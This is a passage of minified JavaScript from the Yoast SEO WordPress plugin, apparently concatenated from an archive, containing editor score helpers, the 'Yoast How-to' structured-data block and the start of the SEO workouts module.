l=(0,me.select)("yoast-seo/editor").getIsPremium(),u={na:(0,d.__)("Not available","wordpress-seo"),bad:(0,d.__)("Needs improvement","wordpress-seo"),ok:(0,d.__)("OK","wordpress-seo"),good:(0,d.__)("Good","wordpress-seo")},p={keyword:{label:l?(0,d.__)("Premium SEO analysis:","wordpress-seo"):(0,d.__)("SEO analysis:","wordpress-seo"),anchor:"yoast-seo-analysis-collapsible-metabox",status:u},content:{label:(0,d.__)("Readability analysis:","wordpress-seo"),anchor:"yoast-readability-analysis-collapsible-metabox",status:u},"inclusive-language":{label:(0,d.__)("Inclusive language:","wordpress-seo"),anchor:"yoast-inclusive-language-analysis-collapsible-metabox",status:{...u,ok:(0,d.__)("Potentially non-inclusive","wordpress-seo")}}};return null!=p&&null!==(r=p[e])&&void 0!==r&&null!==(n=r.status)&&void 0!==n&&n[t]?`<a href="#${null===(o=p[e])||void 0===o?void 0:o.anchor}">${null===(a=p[e])||void 0===a?void 0:a.label}</a> <strong>${null===(i=p[e])||void 0===i?void 0:i.status[t]}</strong>`:""}window.yoast=window.yoast||{},window.yoast.editorModules={analysis:{getL10nObject:u,getContentLocale:function(){const e=u();return(0,c.get)(e,"contentLocale","en_US")},getIndicatorForScore:function(e){return(0,c.isNil)(e)||(e/=10),function(e){switch(e){case"feedback":return{className:"na",screenReaderText:(0,d.__)("Not available","wordpress-seo"),screenReaderReadabilityText:(0,d.__)("Not available","wordpress-seo"),screenReaderInclusiveLanguageText:(0,d.__)("Not available","wordpress-seo")};case"bad":return{className:"bad",screenReaderText:(0,d.__)("Needs improvement","wordpress-seo"),screenReaderReadabilityText:(0,d.__)("Needs improvement","wordpress-seo"),screenReaderInclusiveLanguageText:(0,d.__)("Needs improvement","wordpress-seo")};case"ok":return{className:"ok",screenReaderText:(0,d.__)("OK SEO score","wordpress-seo"),screenReaderReadabilityText:(0,d.__)("OK","wordpress-seo"),screenReaderInclusiveLanguageText:(0,d.__)("Potentially non-inclusive","wordpress-seo")};case"good":return{className:"good",screenReaderText:(0,d.__)("Good SEO score","wordpress-seo"),screenReaderReadabilityText:(0,d.__)("Good","wordpress-seo"),screenReaderInclusiveLanguageText:(0,d.__)("Good","wordpress-seo")};default:return{className:"loading",screenReaderText:"",screenReaderReadabilityText:"",screenReaderInclusiveLanguageText:""}}}(p.interpreters.scoreToRating(e))},constants:e,refreshAnalysis:t},components:{HelpLink:V,TopLevelProviders:pe,higherorder:{withYoastSidebarPriority:e=>{const t=t=>{const{renderPriority:s,...r}=t;return(0,k.createElement)(e,{...r})};return t.propTypes={renderPriority:_().number},t}},contentAnalysis:{KeywordInput:j,mapResults:r},contexts:{location:{LocationContext:i.LocationContext,LocationProvider:i.LocationProvider,LocationConsumer:i.LocationConsumer}},SidebarItem:ue,SidebarCollapsible:le,MetaboxCollapsible:e=>(0,k.createElement)(G,{hasPadding:!0,hasSeparator:!0,...e}),Modal:J,portals:{Portal:re,ImageSelectPortal:ne,ScoreIconPortal:ae}},containers:{EditorModal:we,PersistentDismissableAlert:ke,Results:We,SEMrushRelatedKeyphrases:Qe,WincherSEOPerformance:Ps},helpers:{ajaxHelper:n,createInterpolateElement:(e,t)=>{if(Os=e,Fs=0,Ns=[],Bs=[],Ms.lastIndex=0,!(e=>{const t="object"==typeof e,s=t&&Object.values(e);return t&&s.length&&s.every((e=>(0,v.isValidElement)(e)))})(t))throw new TypeError("The conversionMap provided is not valid. It must be an object with values that are WPElements");do{}while(Ws(t));return(0,v.createElement)(v.Fragment,null,...Ns)},createWatcher:(e,t)=>{let s=e();return()=>{const r=e();(0,c.isEqual)(r,s)||(s=r,t((0,c.clone)(r)))}},isBlockEditor:function(){return window.wpseoScriptData&&"1"===window.wpseoScriptData.isBlockEditor},i18n:o,replacementVariableHelpers:a,publishBox:{updateScore:function(e,t,s=null){var r=ur("#"+e+"-score"),n=cr+" "+t;r.children(".image").attr("class",n);var o=dr(e,t,s);r.children("."+lr).html(o)},createScoresInPublishBox:function(e,t,s=null){const r=ur("<div />",{class:"misc-pub-section yoast yoast-seo-score "+e+"-score",id:e+"-score"}),n=ur("<span />",{class:lr,html:dr(e,t,s)}),o=ur("<span>").attr("class",cr+" na");r.append(o).append(n),ur("#yoast-seo-publishbox-section").append(r)},scrollToCollapsible:function(e){const t=ur("#wpadminbar"),s=ur(e);if(!t||!s)return;const r="fixed"===t.css("position")?t.height():0;ur([document.documentElement,document.body]).animate({scrollTop:s.offset().top-r},1e3),s.trigger("focus"),0===s.parent().siblings().length&&s.trigger("click")}},updateAdminBar:function(e){jQuery("#wp-admin-bar-wpseo-menu .wpseo-score-icon").attr("title",e.screenReaderText).attr("class","wpseo-score-icon "+e.className).find(".wpseo-score-text").text(e.screenReaderText)},updateTrafficLight:function(e){var t=jQuery(".yst-traffic-light"),s=t.closest(".wpseo-meta-section-link"),r=jQuery("#wpseo-traffic-light-desc"),n=e.className||"na";t.attr("class","yst-traffic-light "+n),s.attr("aria-describedby","wpseo-traffic-light-desc"),r.length>0?r.text(e.screenReaderText):s.closest("li").append("<span id='wpseo-traffic-light-desc' class='screen-reader-text'>"+e.screenReaderText+"</span>")}}}})()})();wordpress-seo/js/dist/how-to-block.js000064400000046563147510273070013626 0ustar00(()=>{"use strict";var e={n:t=>{var s=t&&t.__esModule?()=>t.default:()=>t;return e.d(s,{a:s}),s},d:(t,s)=>{for(var o in s)e.o(s,o)&&!e.o(t,o)&&Object.defineProperty(t,o,{enumerable:!0,get:s[o]})},o:(e,t)=>Object.prototype.hasOwnProperty.call(e,t)};const t=window.React,s=window.wp.blockEditor,o=window.wp.blocks,n=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"version":"22.7","name":"yoast/how-to-block","title":"Yoast How-to","description":"Create a How-to guide in an SEO-friendly way. You can only use one How-to block per post.","category":"yoast-structured-data-blocks","icon":"editor-ol","keywords":["How-to","How to","Schema","SEO","Structured Data"],"supports":{"multiple":false},"textdomain":"wordpress-seo","attributes":{"hasDuration":{"type":"boolean"},"days":{"type":"string"},"hours":{"type":"string"},"minutes":{"type":"string"},"description":{"type":"string","source":"html","selector":".schema-how-to-description"},"jsonDescription":{"type":"string"},"steps":{"type":"array"},"additionalListCssClasses":{"type":"string"},"unorderedList":{"type":"boolean"},"durationText":{"type":"string"},"defaultDurationText":{"type":"string"}},"example":{"attributes":{"steps":[{"id":"how-to-step-example-1","name":[],"text":[]},{"id":"how-to-step-example-2","name":[],"text":[]}]}},"editorScript":"yoast-seo-how-to-block","editorStyle":"yoast-seo-structured-data-blocks"}'),i=window.yoast.propTypes;var a=e.n(i);const r=window.yoast.styledComponents;var p=e.n(r);const h=window.wp.i18n,c=window.wp.a11y,l=window.lodash,u=window.wp.element,d=function(e){return class extends u.Component{render(){return(0,t.createElement)(u.Fragment,null,(0,t.createElement)(e,{...this.props})," ")}}},m=window.wp.isShallowEqual,w=window.wp.components,g=d(s.RichText.Content);class b extends u.Component{constructor(e){super(e),this.onSelectImage=this.onSelectImage.bind(this),this.onInsertStep=this.onInsertStep.bind(this),this.onRemoveStep=this.onRemoveStep.bind(this),this.onMoveStepUp=this.onMoveStepUp.bind(this),this.onMoveStepDown=this.onMoveStepDown.bind(this),this.onFocusText=this.onFocusText.bind(this),this.onFocusTitle=this.onFocusTitle.bind(this),this.onChangeTitle=this.onChangeTitle.bind(this),this.onChangeText=this.onChangeText.bind(this)}onInsertStep(){this.props.insertStep(this.props.index)}onRemoveStep(){this.props.removeStep(this.props.index)}onMoveStepUp(){this.props.isFirst||this.props.onMoveUp(this.props.index)}onMoveStepDown(){this.props.isLast||this.props.onMoveDown(this.props.index)}onFocusTitle(){this.props.onFocus(this.props.index,"name")}onFocusText(){this.props.onFocus(this.props.index,"text")}onChangeTitle(e){const{onChange:t,index:s,step:{text:o,name:n}}=this.props;t(e,o,n,o,s)}onChangeText(e){const{onChange:t,index:s,step:{text:o,name:n}}=this.props;t(n,e,n,o,s)}getMediaUploadButton(e){return(0,t.createElement)(w.Button,{className:"schema-how-to-step-button how-to-step-add-media",icon:"insert",onClick:e.open},(0,h.__)("Add image","wordpress-seo"))}getButtons(){const{step:e}=this.props;return(0,t.createElement)("div",{className:"schema-how-to-step-button-container"},!b.getImageSrc(e.text)&&(0,t.createElement)(s.MediaUpload,{onSelect:this.onSelectImage,allowedTypes:["image"],value:e.id,render:this.getMediaUploadButton}),(0,t.createElement)(w.Button,{className:"schema-how-to-step-button",icon:"trash",label:(0,h.__)("Delete step","wordpress-seo"),onClick:this.onRemoveStep}),(0,t.createElement)(w.Button,{className:"schema-how-to-step-button",icon:"insert",label:(0,h.__)("Insert step","wordpress-seo"),onClick:this.onInsertStep}))}getMover(){return(0,t.createElement)("div",{className:"schema-how-to-step-mover"},(0,t.createElement)(w.Button,{className:"editor-block-mover__control",onClick:this.onMoveStepUp,icon:"arrow-up-alt2",label:(0,h.__)("Move step up","wordpress-seo"),"aria-disabled":this.props.isFirst}),(0,t.createElement)(w.Button,{className:"editor-block-mover__control",onClick:this.onMoveStepDown,icon:"arrow-down-alt2",label:(0,h.__)("Move step down","wordpress-seo"),"aria-disabled":this.props.isLast}))}onSelectImage(e){const{index:s,step:{name:o,text:n}}=this.props;let i=n.slice();const a=(0,t.createElement)("img",{className:`wp-image-${e.id}`,alt:e.alt,src:e.url,style:"max-width:100%;"});i.push?i.push(a):i=[i,a],this.props.onChange(o,i,o,n,s)}static getImageSrc(e){if(!e||!e.filter)return!1;const t=e.filter((e=>e&&e.type&&"img"===e.type))[0];return!!t&&t.props.src}shouldComponentUpdate(e){return!(0,m.isShallowEqualObjects)(e,this.props)}static Content(e){return(0,t.createElement)("li",{className:"schema-how-to-step",id:e.id,key:e.id},(0,t.createElement)(g,{tagName:"strong",className:"schema-how-to-step-name",key:e.id+"-name",value:e.name}),(0,t.createElement)(g,{tagName:"p",className:"schema-how-to-step-text",key:e.id+"-text",value:e.text}))}render(){const{index:e,step:o,isSelected:n,isUnorderedList:i}=this.props,{id:a,name:r,text:p}=o;return(0,t.createElement)("li",{className:"schema-how-to-step",key:a},(0,t.createElement)("span",{className:"schema-how-to-step-number"},i?"•":e+1+"."),(0,t.createElement)(s.RichText,{identifier:`${a}-name`,className:"schema-how-to-step-name",tagName:"p",key:`${a}-name`,value:r,onChange:this.onChangeTitle,onFocus:this.onFocusTitle,unstableOnFocus:this.onFocusTitle,placeholder:(0,h.__)("Enter a step title","wordpress-seo"),allowedFormats:["core/italic","core/strikethrough","core/link","core/annotation"]}),(0,t.createElement)(s.RichText,{identifier:`${a}-text`,className:"schema-how-to-step-text",tagName:"p",key:`${a}-text`,value:p,onChange:this.onChangeText,onFocus:this.onFocusText,unstableOnFocus:this.onFocusText,placeholder:(0,h.__)("Enter a step description","wordpress-seo")}),n&&(0,t.createElement)("div",{className:"schema-how-to-step-controls-container"},this.getMover(),this.getButtons()))}}function S(e,t=0){return parseInt(e,10)||t}b.propTypes={index:a().number.isRequired,step:a().object.isRequired,onChange:a().func.isRequired,insertStep:a().func.isRequired,removeStep:a().func.isRequired,onFocus:a().func.isRequired,onMoveUp:a().func.isRequired,onMoveDown:a().func.isRequired,isSelected:a().bool.isRequired,isFirst:a().bool.isRequired,isLast:a().bool.isRequired,isUnorderedList:a().bool},b.defaultProps={isUnorderedList:!1};const y=d(s.RichText.Content),f=p()(w.TextControl)`
	&&& {
		margin-bottom: 32px;
	}
`;class x extends u.Component{constructor(e){super(e),this.state={focus:""},this.changeStep=this.changeStep.bind(this),this.insertStep=this.insertStep.bind(this),this.removeStep=this.removeStep.bind(this),this.swapSteps=this.swapSteps.bind(this),this.setFocus=this.setFocus.bind(this),this.addCSSClasses=this.addCSSClasses.bind(this),this.getListTypeHelp=this.getListTypeHelp.bind(this),this.toggleListType=this.toggleListType.bind(this),this.setDurationText=this.setDurationText.bind(this),this.setFocusToStep=this.setFocusToStep.bind(this),this.moveStepUp=this.moveStepUp.bind(this),this.moveStepDown=this.moveStepDown.bind(this),this.focusDescription=this.focusDescription.bind(this),this.addDuration=this.addDuration.bind(this),this.removeDuration=this.removeDuration.bind(this),this.onChangeDescription=this.onChangeDescription.bind(this),this.onChangeDays=this.onChangeDays.bind(this),this.onChangeHours=this.onChangeHours.bind(this),this.onChangeMinutes=this.onChangeMinutes.bind(this),this.onAddStepButtonClick=this.onAddStepButtonClick.bind(this),this.daysInput=(0,u.createRef)(),this.addDurationButton=(0,u.createRef)();const t=this.getDefaultDurationText();this.setDefaultDurationText(t)}getDefaultDurationText(){const e=(0,l.get)(window,"wp.hooks.applyFilters");let t=(0,h.__)("Time needed:","wordpress-seo");return e&&(t=e("wpseo_duration_text",t)),t}setDurationText(e){this.props.setAttributes({durationText:e})}setDefaultDurationText(e){this.props.setAttributes({defaultDurationText:e})}onAddStepButtonClick(){this.insertStep(null,[],[],!1)}static generateId(e){return`${e}-${(new Date).getTime()}`}changeStep(e,t,s,o,n){const i=this.props.attributes.steps?this.props.attributes.steps.slice():[];if(n>=i.length)return;if(i[n].name!==s||i[n].text!==o)return;i[n]={id:i[n].id,name:e,text:t,jsonName:(0,u.renderToString)(e),jsonText:(0,u.renderToString)(t)};const a=b.getImageSrc(t);a&&(i[n].jsonImageSrc=a),this.props.setAttributes({steps:i})}insertStep(e=null,t=[],s=[],o=!0){const n=this.props.attributes.steps?this.props.attributes.steps.slice():[];null===e&&(e=n.length-1),n.splice(e+1,0,{id:x.generateId("how-to-step"),name:t,text:s,jsonName:"",jsonText:""}),this.props.setAttributes({steps:n}),o?setTimeout(this.setFocus.bind(this,`${e+1}:name`)):(0,c.speak)((0,h.__)("New step added","wordpress-seo"))}swapSteps(e,t){const s=this.props.attributes.steps?this.props.attributes.steps.slice():[],o=s[e];s[e]=s[t],s[t]=o,this.props.setAttributes({steps:s});const[n,i]=this.state.focus.split(":");n===`${e}`&&this.setFocus(`${t}:${i}`),n===`${t}`&&this.setFocus(`${e}:${i}`)}removeStep(e){const t=this.props.attributes.steps?this.props.attributes.steps.slice():[];t.splice(e,1),this.props.setAttributes({steps:t});let s="description";t[e]?s=`${e}:name`:t[e-1]&&(s=e-1+":text"),this.setFocus(s)}setFocus(e){e!==this.state.focus&&this.setState({focus:e})}setFocusToStep(e,t){this.setFocus(`${e}:${t}`)}moveStepUp(e){this.swapSteps(e,e-1)}moveStepDown(e){this.swapSteps(e,e+1)}getSteps(){if(!this.props.attributes.steps)return null;const[e]=this.state.focus.split(":");return this.props.attributes.steps.map(((s,o)=>(0,t.createElement)(b,{key:s.id,step:s,index:o,onChange:this.changeStep,insertStep:this.insertStep,removeStep:this.removeStep,onFocus:this.setFocusToStep,onMoveUp:this.moveStepUp,onMoveDown:this.moveStepDown,isFirst:0===o,isLast:o===this.props.attributes.steps.length-1,isSelected:e===`${o}`,isUnorderedList:this.props.attributes.unorderedList})))}formatDuration(e,t=null){if(""===e)return"";const s=e.replace(/^[0]+/,"");return""===s?0:null!==t?Math.min(Math.max(0,parseInt(s,10)),t):Math.max(0,parseInt(s,10))}static getStepsContent(e){return e?e.map((e=>(0,t.createElement)(b.Content,{...e,key:e.id}))):null}static Content(e){const{steps:s,hasDuration:o,days:n,hours:i,minutes:a,description:r,unorderedList:p,additionalListCssClasses:c,className:l,durationText:u,defaultDurationText:d}=e,m=["schema-how-to",l].filter((e=>e)).join(" "),w=["schema-how-to-steps",c].filter((e=>e)).join(" "),g=function(e){const t=function({days:e,hours:t,minutes:s}){const o=[];return 0!==e&&o.push((0,h.sprintf)((0,h._n)("%d day","%d days",e,"wordpress-seo"),e)),0!==t&&o.push((0,h.sprintf)((0,h._n)("%d hour","%d hours",t,"wordpress-seo"),t)),0!==s&&o.push((0,h.sprintf)((0,h._n)("%d minute","%d minutes",s,"wordpress-seo"),s)),o}({days:S(e.days),hours:S(e.hours),minutes:S(e.minutes)});return 1===t.length?t[0]:2===t.length?(0,h.sprintf)(/* translators: %s expands to a unit of time (e.g. 1 day). */
(0,h.__)("%s and %s","wordpress-seo"),...t):3===t.length?(0,h.sprintf)(/* translators: %s expands to a unit of time (e.g. 1 day). */
(0,h.__)("%s, %s and %s","wordpress-seo"),...t):""}({days:n,hours:i,minutes:a});return(0,t.createElement)("div",{className:m},o&&"string"==typeof g&&g.length>0&&(0,t.createElement)("p",{className:"schema-how-to-total-time"},(0,t.createElement)("span",{className:"schema-how-to-duration-time-text"},u||d," "),g+". "),(0,t.createElement)(y,{tagName:"p",className:"schema-how-to-description",value:r}),p?(0,t.createElement)("ul",{className:w},x.getStepsContent(s)):(0,t.createElement)("ol",{className:w},x.getStepsContent(s)))}getAddStepButton(){return(0,t.createElement)(w.Button,{icon:"insert",onClick:this.onAddStepButtonClick,className:"schema-how-to-add-step"},(0,h.__)("Add step","wordpress-seo"))}addCSSClasses(e){this.props.setAttributes({additionalListCssClasses:e})}toggleListType(e){this.props.setAttributes({unorderedList:e})}getListTypeHelp(e){return e?(0,h.__)("Showing step items as an unordered list","wordpress-seo"):(0,h.__)("Showing step items as an ordered list.","wordpress-seo")}focusDescription(){this.setFocus("description")}onChangeDescription(e){this.props.setAttributes({description:e,jsonDescription:(0,u.renderToString)(e)})}addDuration(){this.props.setAttributes({hasDuration:!0}),setTimeout((()=>this.daysInput.current.focus()))}removeDuration(){this.props.setAttributes({hasDuration:!1}),setTimeout((()=>{this.addDurationButton.current instanceof u.Component||this.addDurationButton.current.focus()}))}onChangeDays(e){const t=this.formatDuration(e.target.value);this.props.setAttributes({days:(0,l.toString)(t)})}onChangeHours(e){const t=this.formatDuration(e.target.value,23);this.props.setAttributes({hours:(0,l.toString)(t)})}onChangeMinutes(e){const t=this.formatDuration(e.target.value,59);this.props.setAttributes({minutes:(0,l.toString)(t)})}getDuration(){const{attributes:e}=this.props;return e.hasDuration?(0,t.createElement)("fieldset",{className:"schema-how-to-duration"},(0,t.createElement)("span",{className:"schema-how-to-duration-flex-container",role:"presentation"},(0,t.createElement)("legend",{className:"schema-how-to-duration-legend"},e.durationText||this.getDefaultDurationText()),(0,t.createElement)("span",{className:"schema-how-to-duration-time-input"},(0,t.createElement)("label",{htmlFor:"schema-how-to-duration-days",className:"screen-reader-text"},/* translators: Hidden accessibility text. */
(0,h.__)("days","wordpress-seo")),(0,t.createElement)("input",{id:"schema-how-to-duration-days",className:"schema-how-to-duration-input",type:"number",value:e.days,onChange:this.onChangeDays,placeholder:"DD",ref:this.daysInput}),(0,t.createElement)("label",{htmlFor:"schema-how-to-duration-hours",className:"screen-reader-text"},(0,h.__)("hours","wordpress-seo")),(0,t.createElement)("input",{id:"schema-how-to-duration-hours",className:"schema-how-to-duration-input",type:"number",value:e.hours,onChange:this.onChangeHours,placeholder:"HH"}),(0,t.createElement)("span",{"aria-hidden":"true"},":"),(0,t.createElement)("label",{htmlFor:"schema-how-to-duration-minutes",className:"screen-reader-text"},(0,h.__)("minutes","wordpress-seo")),(0,t.createElement)("input",{id:"schema-how-to-duration-minutes",className:"schema-how-to-duration-input",type:"number",value:e.minutes,onChange:this.onChangeMinutes,placeholder:"MM"}),(0,t.createElement)(w.Button,{className:"schema-how-to-duration-delete-button",icon:"trash",label:(0,h.__)("Delete total time","wordpress-seo"),onClick:this.removeDuration})))):(0,t.createElement)(w.Button,{onClick:this.addDuration,className:"schema-how-to-duration-button",ref:this.addDurationButton,icon:"insert"},(0,h.__)("Add total time","wordpress-seo"))}getSidebar(e,o,n){return n===this.getDefaultDurationText()&&(n=""),(0,t.createElement)(s.InspectorControls,null,(0,t.createElement)(w.PanelBody,{title:(0,h.__)("Settings","wordpress-seo"),className:"blocks-font-size"},(0,t.createElement)(f,{label:(0,h.__)("CSS class(es) to apply to the steps","wordpress-seo"),value:o,onChange:this.addCSSClasses,help:(0,h.__)("Optional. This can give you better control over the styling of the steps.","wordpress-seo")}),(0,t.createElement)(f,{label:(0,h.__)("Describe the duration of the instruction:","wordpress-seo"),value:n,onChange:this.setDurationText,help:(0,h.__)("Optional. Customize how you want to describe the duration of the instruction","wordpress-seo"),placeholder:this.getDefaultDurationText()}),(0,t.createElement)(w.ToggleControl,{label:(0,h.__)("Unordered list","wordpress-seo"),checked:e||!1,onChange:this.toggleListType,help:this.getListTypeHelp})))}render(){const{attributes:e,className:o}=this.props,n=["schema-how-to",o].filter((e=>e)).join(" "),i=["schema-how-to-steps",e.additionalListCssClasses].filter((e=>e)).join(" ");return(0,t.createElement)("div",{className:n},this.getDuration(),(0,t.createElement)(s.RichText,{identifier:"description",tagName:"p",className:"schema-how-to-description",value:e.description,onChange:this.onChangeDescription,onFocus:this.focusDescription,unstableOnFocus:this.focusDescription,placeholder:(0,h.__)("Enter a description","wordpress-seo")}),(0,t.createElement)("ul",{className:i},this.getSteps()),(0,t.createElement)("div",{className:"schema-how-to-buttons"},this.getAddStepButton()),this.getSidebar(e.unorderedList,e.additionalListCssClasses,e.durationText))}}function C(e,t=0){return parseInt(e,10)||t}function v(e){const t=function({days:e,hours:t,minutes:s}){const o=[];return 0!==e&&o.push((0,h.sprintf)((0,h._n)("%d day","%d days",e,"wordpress-seo"),e)),0!==t&&o.push((0,h.sprintf)((0,h._n)("%d hour","%d hours",t,"wordpress-seo"),t)),0!==s&&o.push((0,h.sprintf)((0,h._n)("%d minute","%d minutes",s,"wordpress-seo"),s)),o}({days:C(e.days),hours:C(e.hours),minutes:C(e.minutes)});return 1===t.length?t[0]:2===t.length?(0,h.sprintf)(/* translators: %s expands to a unit of time (e.g. 1 day). */
(0,h.__)("%s and %s","wordpress-seo"),...t):3===t.length?(0,h.sprintf)(/* translators: %s expands to a unit of time (e.g. 1 day). */
(0,h.__)("%s, %s and %s","wordpress-seo"),...t):""}x.propTypes={attributes:a().object.isRequired,setAttributes:a().func.isRequired,className:a().string},x.defaultProps={className:""};const D=e=>(0,t.createElement)("li",{className:"schema-how-to-step",key:e.id},(0,t.createElement)("strong",{className:"schema-how-to-step-name",key:e.id+"-name"},e.name)," ",(0,t.createElement)("p",{className:"schema-how-to-step-text",key:e.id+"-text"},e.text)," ");function E(e){let{steps:s}=e.attributes;const{hasDuration:o,days:n,hours:i,minutes:a,description:r,unorderedList:p,additionalListCssClasses:c,className:l}=e.attributes;s=s?s.map((e=>(0,t.createElement)(D,{...e,key:e.id}))):null;const u=["schema-how-to",l].filter((e=>e)).join(" "),d=["schema-how-to-steps",c].filter((e=>e)).join(" "),m=v({days:n,hours:i,minutes:a});return(0,t.createElement)("div",{className:u},o&&"string"==typeof m&&m.length>0&&(0,t.createElement)("p",{className:"schema-how-to-total-time"},(0,h.__)("Time needed:","wordpress-seo")," ",m+". "),(0,t.createElement)("p",{className:"schema-how-to-description"},r)," ",p?(0,t.createElement)("ul",{className:d},s):(0,t.createElement)("ol",{className:d},s))}function T(e){return(0,t.createElement)("li",{className:"schema-how-to-step",key:e.id},(0,t.createElement)("strong",{className:"schema-how-to-step-name",key:e.id+"-name"},e.name)," ",(0,t.createElement)("p",{className:"schema-how-to-step-text",key:e.id+"-text"},e.text)," ")}function _(e){const{steps:s,hasDuration:o,days:n,hours:i,minutes:a,description:r,unorderedList:p,additionalListCssClasses:h,className:c,durationText:l,defaultDurationText:u}=e.attributes,d=["schema-how-to",c].filter((e=>e)).join(" "),m=["schema-how-to-steps",h].filter((e=>e)).join(" "),w=v({days:n,hours:i,minutes:a});let g=[];return s&&(g=s.map((e=>(0,t.createElement)(T,{...e,key:e.id})))),(0,t.createElement)("div",{className:d},o&&"string"==typeof w&&w.length>0&&(0,t.createElement)("p",{className:"schema-how-to-total-time"},(0,t.createElement)("span",{className:"schema-how-to-duration-time-text"},l||u," "),w+". "),(0,t.createElement)("p",{className:"schema-how-to-description"},r)," ",p?(0,t.createElement)("ul",{className:m},g):(0,t.createElement)("ol",{className:m},g))}E.propTypes={attributes:a().object},_.propTypes={attributes:a().object.isRequired};const N={v8_2:E,v11_4:_};(0,o.registerBlockType)(n,{edit:({attributes:e,setAttributes:o,className:n})=>{const i=(0,s.useBlockProps)();return e.steps&&0!==e.steps.length||(e.steps=[{id:x.generateId("how-to-step"),name:[],text:[]}]),(0,t.createElement)("div",{...i},(0,t.createElement)(x,{attributes:e,setAttributes:o,className:n}))},save:({attributes:e})=>{const o=s.useBlockProps.save(e);return(0,t.createElement)(x.Content,{...o})},deprecated:[{attributes:n.attributes,save:N.v11_4},{attributes:n.attributes,save:N.v8_2}]})})();wordpress-seo/js/dist/workouts.js000064400000115001147510273070013176 0ustar00(()=>{"use strict";var e={n:t=>{var o=t&&t.__esModule?()=>t.default:()=>t;return e.d(o,{a:o}),o},d:(t,o)=>{for(var a in o)e.o(o,a)&&!e.o(t,a)&&Object.defineProperty(t,a,{enumerable:!0,get:o[a]})},o:(e,t)=>Object.prototype.hasOwnProperty.call(e,t),r:e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})}},t={};e.r(t),e.d(t,{CLEAR_ACTIVE_WORKOUT:()=>te,CLEAR_INDEXABLES:()=>re,CLEAR_INDEXABLES_IN_STEPS:()=>le,FINISH_STEPS:()=>J,MOVE_INDEXABLES:()=>ae,OPEN_WORKOUT:()=>ee,REGISTER_WORKOUT:()=>H,REVISE_STEP:()=>Q,SET_WORKOUTS:()=>Z,TOGGLE_STEP:()=>oe,TOGGLE_WORKOUT:()=>Y,clearActiveWorkout:()=>de,clearIndexables:()=>he,clearIndexablesInSteps:()=>ke,finishSteps:()=>se,initWorkouts:()=>ue,moveIndexables:()=>we,openWorkout:()=>pe,registerWorkout:()=>ne,reviseStep:()=>ce,toggleStep:()=>me,toggleWorkout:()=>ie});var o={};e.r(o),e.d(o,{getActiveWorkout:()=>Se,getFinishedSteps:()=>Ee,getFinishedWorkouts:()=>ye,getIndexablesByStep:()=>ge,getLoading:()=>ze,getWorkouts:()=>fe});const a=window.React,r=window.wp.data,l=window.wp.components,n=window.wp.domReady;var s=e.n(n);const c=window.wp.apiFetch;var i=e.n(c);const u=window.wp.compose,p=window.lodash,d=window.yoast.propTypes;var m=e.n(d);const w=window.wp.i18n,h=window.wp.element,k=window.yoast.componentsNew;function f(e){return(0,a.createElement)(l.Slot,{name:e.name},(t=>0===t.length?e.children:t))}f.propTypes={name:m().string.isRequired,children:m().oneOfType([m().node,m().arrayOf(m().node)])},f.defaultProps={children:null};const E=window.yoast.helpers;function g({name:e,title:t,subtitle:o,usps:l,id:n,image:s,finishableSteps:c,finishedSteps:i,upsellLink:u,upsellText:p,workout:d,badges:m}){const{openWorkout:f,toggleWorkout:g}=(0,r.useDispatch)("yoast-seo/workouts"),y=(0,r.useSelect)((e=>e("yoast-seo/workouts").getActiveWorkout()),[]),[z,S]=(0,h.useState)(!1),b=d,v=s;(0,h.useEffect)((()=>{c&&i&&i.length===c.length?S(!0):S(!1)}),[i,c]);const M=(0,h.useMemo)((()=>i&&0!==i.length?i.length<c.length?(0,w.__)("Continue workout!","wordpress-seo"):(0,w.__)("Do workout again","wordpress-seo"):(0,w.__)("Start workout!","wordpress-seo")),[i,c]),B=(0,h.useCallback)((()=>{f(e),z&&g(e)}),[d,z,f,g]),x=(0,E.makeOutboundLink)(),_=p||(0,w.sprintf)(/* translators: %s : Expands to the add-on name. */
(0,w.__)("Unlock with %s!","wordpress-seo"),"Premium"),A=d?"":" card-disabled";return(0,a.createElement)(h.Fragment,null,!y&&(0,a.createElement)("div",{id:n,className:`card card-small${A}`},(0,a.createElement)("h2",null,t," ",m),(0,a.createElement)("h3",null,o),(0,a.createElement)("div",{className:"workout-card-content-flex"},(0,a.createElement)("ul",{id:`${n}-usp-list`,className:"yoast-list--usp"},l.map(((e,t)=>(0,a.createElement)("li",{id:`${n}-usp-${t}`,key:`${n}-${t}`},e)))),s&&(0,a.createElement)(v,null)),(0,a.createElement)("span",null,d&&(0,a.createElement)(k.NewButton,{id:`${n}-action-button`,className:"yoast-button yoast-button--"+(z?"secondary":"primary"),onClick:B},M),!d&&(0,a.createElement)(x,{id:`${n}-upsell-button`,href:u,className:"yoast-button yoast-button-upsell","data-action":"load-nfd-ctb","data-ctb-id":"f6a84663-465f-4cb5-8ba5-f7a6d72224b2"},_,(0,a.createElement)("span",{"aria-hidden":"true",className:"yoast-button-upsell__caret"})),c&&i&&(0,a.createElement)("div",{className:"workout-card-progress"},(0,a.createElement)(k.ProgressBar,{id:`${n}-progress`,max:c.length,value:i.length}),(0,a.createElement)("label",{htmlFor:`${n}-progress`},(0,a.createElement)("i",null,(0,w.sprintf)(
// translators: %1$s: number of finished steps, %2$s: number of finishable steps
(0,w.__)("%1$s/%2$s steps completed","wordpress-seo"),i.length,c.length)))))),d&&y===e&&(0,a.createElement)(b,null))}var y;function z(){return z=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var o=arguments[t];for(var a in o)Object.prototype.hasOwnProperty.call(o,a)&&(e[a]=o[a])}return e},z.apply(this,arguments)}g.propTypes={name:m().string.isRequired,title:m().string.isRequired,subtitle:m().string.isRequired,usps:m().arrayOf(m().string).isRequired,id:m().string,finishableSteps:m().arrayOf(m().string),finishedSteps:m().arrayOf(m().string),image:m().func,upsellLink:m().string,upsellText:m().string,workout:m().func,badges:m().arrayOf(m().element)},g.defaultProps={id:"",finishableSteps:null,finishedSteps:null,image:null,upsellLink:null,upsellText:null,workout:null,badges:[]};const S=e=>a.createElement("svg",z({xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",viewBox:"0 0 296 317"},e),y||(y=a.createElement("g",{fill:"none",transform:"matrix(-1 0 0 1 295.274 .96)"},a.createElement("circle",{cx:131.18,cy:184.261,r:131.18,fill:"#F0ECF0"}),a.createElement("g",{fill:"#EAB881"},a.createElement("path",{d:"M236.42 